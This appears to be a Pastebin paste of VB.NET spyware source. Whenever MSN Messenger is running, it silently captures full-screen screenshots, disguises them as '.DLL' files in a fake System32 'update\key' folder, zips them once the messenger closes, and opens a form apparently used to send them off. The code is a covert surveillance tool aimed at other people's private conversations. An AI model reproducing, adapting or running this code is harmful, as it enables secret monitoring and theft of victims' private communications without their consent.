Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Text
- Imports System.Diagnostics.Process
- Imports System.IO.Path
- Imports System.IO.Packaging
- Imports System.Runtime.InteropServices
- Imports System.Threading
- Public Class recr
- Private Sub rec_Tick(sender As System.Object, e As System.EventArgs) Handles rec.Tick
- If Not Process.GetProcessesByName("msnmsgr").Length = 0 Then
- Call diag_load()
- Else
- End If
- End Sub
- Private Sub reclose1_Tick(sender As System.Object, e As System.EventArgs) Handles reclose1.Tick
- If Process.GetProcessesByName("msnmsgr").Length = 0
- Thread.Sleep(20000)
- CompressFile("C:\Windows\System32\update\key\rec", "C:\Windows\System32\update\key\rec" & ".zip")
- End If
- End Sub
- Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
- Thread.Sleep(50000)
- send1.Show()
- End Sub
- Private Sub diag_load()
- diag.Enabled = True
- FileNUM.Text = "1"
- End Sub
- Private Sub diag_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles diag.Tick
- Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim BMP As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
- Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(BMP)
- g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
- Dim DirectoryA As String = "C:\WINDOWS\system32\update\key\rec\rc2"
- Dim Frame1 As String = FileNUM.Text
- Dim img1 As String = ".DLL"
- FileNUM.Text = FileNUM.Text + 1
- BMP.Save(DirectoryA & Frame1 & img1)
- End Sub
- Public Sub CompressFile(ByVal Path As String, ByVal FN As String)
- Try
- Dim Z As System.IO.Packaging.ZipPackage
- Z = System.IO.Packaging.Package.Open(FN, IO.FileMode.Create)
- Dim FileList As New List(Of String)
- Dim DirList As New List(Of String)
- DirList.Add(Path)
- Do While DirList.Count > 0
- Dim FL = System.IO.Directory.GetFiles(DirList(0))
- Dim I As Integer
- For I = 0 To FL.Count - 1
- FileList.Add(FL(I))
- Next
- Dim DL = System.IO.Directory.GetDirectories(DirList(0))
- For I = 0 To DL.Count - 1
- DirList.Add(DL(I))
- Next
- DirList.RemoveAt(0)
- Loop
- Do While FileList.Count > 0
- Dim FileName = FileList(0)
- Me.UN1.Text = "File:" & FileName
- Me.UN2.Text = "Remaining:" & FileList.Count
- Application.DoEvents()
- Dim B = System.IO.File.ReadAllBytes(FileName)
- Dim partUriDocument As Uri = System.IO.Packaging.PackUriHelper.CreatePartUri(New Uri(FileName.Substring(Path.Length), UriKind.Relative))
- Dim P = Z.CreatePart(partUriDocument, System.Net.Mime.MediaTypeNames.Application.Zip, IO.Packaging.CompressionOption.Maximum)
- P.GetStream.Write(B, 0, B.Length)
- FileList.RemoveAt(0)
- Loop
- Z.Close()
- Catch ex As Exception
- MsgBox(ex.Message)
- End Try
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment